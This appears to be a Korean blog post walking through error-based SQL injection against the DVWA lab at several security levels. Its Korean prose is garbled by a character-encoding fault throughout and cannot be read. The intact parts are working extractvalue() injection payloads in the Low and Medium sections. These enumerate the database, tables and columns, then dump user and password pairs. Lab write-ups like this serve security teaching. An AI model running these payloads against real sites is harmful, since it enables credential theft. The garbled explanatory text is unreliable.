Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Practice/DVWA

[DVWA] SQL Injection (Error Based)

Gearvirus(junyup2) 2024. 4. 12. 19:23

Vulnerability: SQL Injection

Error Based SQL Injection์„ ์ด์šฉํ•˜์—ฌ DB ๋‚ด๋ถ€์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•˜๋Š” ๊ฒƒ์„ ๋ชฉ์ ์œผ๋กœ ํ•œ๋‹ค.

DVWA SQL Injection ์‹ค์Šต

์‹ค์Šต ํ™˜๊ฒฝ
- Windows Docker๋ฅผ ์ด์šฉํ•œ DVWA
- Windows ํ™˜๊ฒฝ์˜ Burp Suite

Security Level: Low

Low ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•˜์—ฌ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ, ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ์—๋Ÿฌ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•ด์ฃผ๊ณ  ์žˆ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•˜์—ฌ Error Based SQLi ๋ฅผ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

 

DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

x' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

์œ„์™€ ๊ฐ™์ด DB ์ด๋ฆ„์€ dvwa์ธ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

TABLE ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

x' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'dvwa'))) and '1'='1

Error Based์˜ ๊ฒฐ๊ณผ ๊ฐ’์€ ํ•œ ์ค„๋งŒ ์ถœ๋ ฅ์ด ๊ฐ€๋Šฅํ•œ๋ฐ, ๊ฒฐ๊ณผ ๊ฐ’์ด ์—ฌ๋Ÿฌ์ค„์ด๋ผ์„œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์˜€๋‹ค. limit์„ ์ด์šฉํ•˜์—ฌ ํ•œ์ค„ ์”ฉ ์ถœ๋ ฅํ•˜์—ฌ ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ํ™•์ธํ•œ๋‹ค.

x' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1))) and '1'='1

์œ„์™€ ๊ฐ™์ด guestbook, users ๋ผ๋Š” ์ด๋ฆ„์˜ ํ…Œ์ด๋ธ”์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

COLUMN ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์œ„์˜ ๋‘ ํ…Œ์ด๋ธ” ์ค‘ users ํ…Œ์ด๋ธ”์ด ํšŒ์›์ •๋ณด์ด๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ํ™•์ธํ•ด ๋ณผ ๊ฒƒ์ด๋‹ค. ์œ„์™€ ๋™์ผํ•˜๊ฒŒ ์—ฌ๋Ÿฌ์ค„ ์ด๊ธฐ ๋•Œ๋ฌธ์— limit๋ฅผ ์ด์šฉํ•˜์—ฌ ํ•œ ์ค„์”ฉ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

x' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'users' limit 3,1))) and '1'='1

users ํ…Œ์ด๋ธ”์—์„œ ์›ํ•˜๋Š” ์ •๋ณด์ธ user, password ์ปฌ๋Ÿผ์˜ ์กด์žฌ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ์—ด๋žŒํ•ด๋ณด๋„๋ก ํ•œ๋‹ค.

 

DATA ํ™•์ธํ•˜๊ธฐ

user ์ปฌ๋Ÿผ๊ณผ, password ์ปฌ๋Ÿผ์„ ๋™์‹œ์— ์กฐํšŒํ•˜๊ณ  ์‹ถ์€๋ฐ Error Based์—์„œ๋Š” ํ•œ์ค„ ์”ฉ ๋ฐ–์— ์ถœ๋ ฅํ•˜์ง€ ๋ชปํ•œ๋‹ค. concat์„ ์ด์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ์ถœ๋ ฅ๊ฐ’์„ ์ด์–ด ๋ถ™์—ฌ์„œ ํ•œ๋ฒˆ์— ์ถœ๋ ฅํ•ด ์ค„ ์ˆ˜ ์žˆ๋‹ค.

์กฐํšŒํ•˜๋Š” ์ปฌ๋Ÿผ์˜ ์ˆ˜๊ฐ€ ์ ๊ฑฐ๋‚˜, ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” ์—ฌ๋Ÿฌ ์ค„์„ ํ•œ๊บผ๋ฒˆ์— ์—ด๋žŒํ•˜๊ธฐ ๊ณค๋ž€ํ•˜๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” SQL์˜ Concat()ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋ฉด ์›๋ž˜์˜ ์ปฌ๋Ÿผ ์ˆ˜ ๋ณด๋‹ค ๋” ๋งŽ์€ ์ปฌ๋Ÿผ์„ ์กฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์œ„์˜ ๊ฒฝ์šฐ๋ฅผ ์˜ˆ์‹œ๋กœ ๋“ค์–ด๋ณด๋ฉด concat(user, ':', password) ๋ผ๊ณ  ํ•˜๋ฉด user:password ์™€ ๊ฐ™์ด ์—ฐ๊ฒฐ๋œ ์ •๋ณด๋ฅผ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.
x' and extractvalue('1', concat(0x3a, (select concat(user, 0x3a, password) from users limit 0,1))) and '1'='1

์œ„์™€ ๊ฐ™์ด users ํ…Œ์ด๋ธ”์˜ user, password ์ปฌ๋Ÿผ์˜ ์ •๋ณด๋ฅผ ํ•œ ์„ธํŠธ์”ฉ ๋ฌถ์–ด์„œ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.


Security Level: Medium

 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

Medium ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ ์†Œ์Šค์ฝ”๋“œ์—์„œ mysqli_real_escape_string์„ ์ ์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ž…๋ ฅ๊ฐ’์œผ๋กœ '๋ฅผ ์ธ์‹ํ•  ์ˆ˜ ์—†๋‹ค.

๋˜ํ•œ ์ฝค๋ณด๋ฐ•์Šค๋กœ ์ž…๋ ฅ์„ ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— ' ์—†์ด ์ˆซ์ž ๊ฐ’์„ ๊ธฐ๋ณธ์œผ๋กœ ์ž…๋ ฅ๋ฐ›๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ' ์—†์ด ์ž…๋ ฅ์„ ํ•˜๊ธฐ ์œ„ํ•ด, WHERE๊ตฌ๋ฌธ์˜ ์ ์šฉ์ด ์–ด๋ ค์›Œ์„œ ์ „์ฒด ๋ฐ์ดํ„ฐ๋“ค์— ๋Œ€ํ•˜์—ฌ LIMIT์„ ์ด์šฉํ•˜์—ฌ ํ•œ์ค„์”ฉ ํ™•์ธํ•ด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

 

DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์šฐ์„  DB์˜ ์ •๋ณด๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.

1 and extractvalue(rand(),concat(0x3a,(select version())))

๋‹ค์Œ์œผ๋กœ DB ์ด๋ฆ„์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

1 and extractvalue(rand(),concat(0x3a,(select database())))

DB์ด๋ฆ„์€ dvwa์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

TABLE ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

๋‹ค์Œ์œผ๋กœ dvwa DB์˜ ํ…Œ์ด๋ธ”์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

1 and extractvalue(rand(),concat(0x3a,(select table_name from information_schema.tables limit 1,1)))

guestbook๊ณผ users ํ…Œ์ด๋ธ”์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

COLUMN ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1 and extractvalue(rand(),concat(0x3a,(select column_name from information_schema.columns limit 7,1)))

users ํ…Œ์ด๋ธ”์˜ user์™€ password ์ปฌ๋Ÿผ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

DATA ํ™•์ธํ•˜๊ธฐ

user, password ์ปฌ๋Ÿผ์˜ ์ •๋ณด๋ฅผ ๋ฌถ์–ด์„œ ์„ธํŠธ๋กœ ํ•œ์ค„์”ฉ ํ™•์ธํ•ด๋ณธ๋‹ค.

1 and extractvalue(rand(),concat(0x3a,(select concat(user,0x3a,password)from users limit 0,1)))

์œ„์™€ ๊ฐ™์ด ๋ฐ์ดํ„ฐ๊ฐ€ ๋ฌถ์—ฌ์„œ user,password๊ฐ€ ํ•œ ์„ธํŠธ๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: High

High ๋ ˆ๋ฒจ๋ถ€ํ„ฐ๋Š” Error ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•œ ์ฒ˜๋ฆฌ๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค.

Low ๋ ˆ๋ฒจ๊ณผ Medium ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ์—๋Ÿฌ์˜ ๋‚ด์šฉ์„ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

Low ๋ ˆ๋ฒจ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€
Medium ๋ ˆ๋ฒจ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€

ํ•˜์ง€๋งŒ High ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ–ˆ์„ ๋•Œ, ์—๋Ÿฌ์˜ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•˜์ง€ ์•Š๊ณ , 'Something went wrong' ์ด๋ผ๋Š” ๊ณ ์ •๋œ ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

High ๋ ˆ๋ฒจ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— High๋ ˆ๋ฒจ์—์„œ์˜ Error Based SQL Injection์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ผ๊ด€๋œ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: Impossible

Impossible ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ ์• ์ดˆ์— SQL Injection์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ , ์ •ํ•ด์ง„ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ๋งŒ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ์„œ ์ด์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ๋˜ํ•œ ๋”ฐ๋กœ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š๊ณ  ์žˆ๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜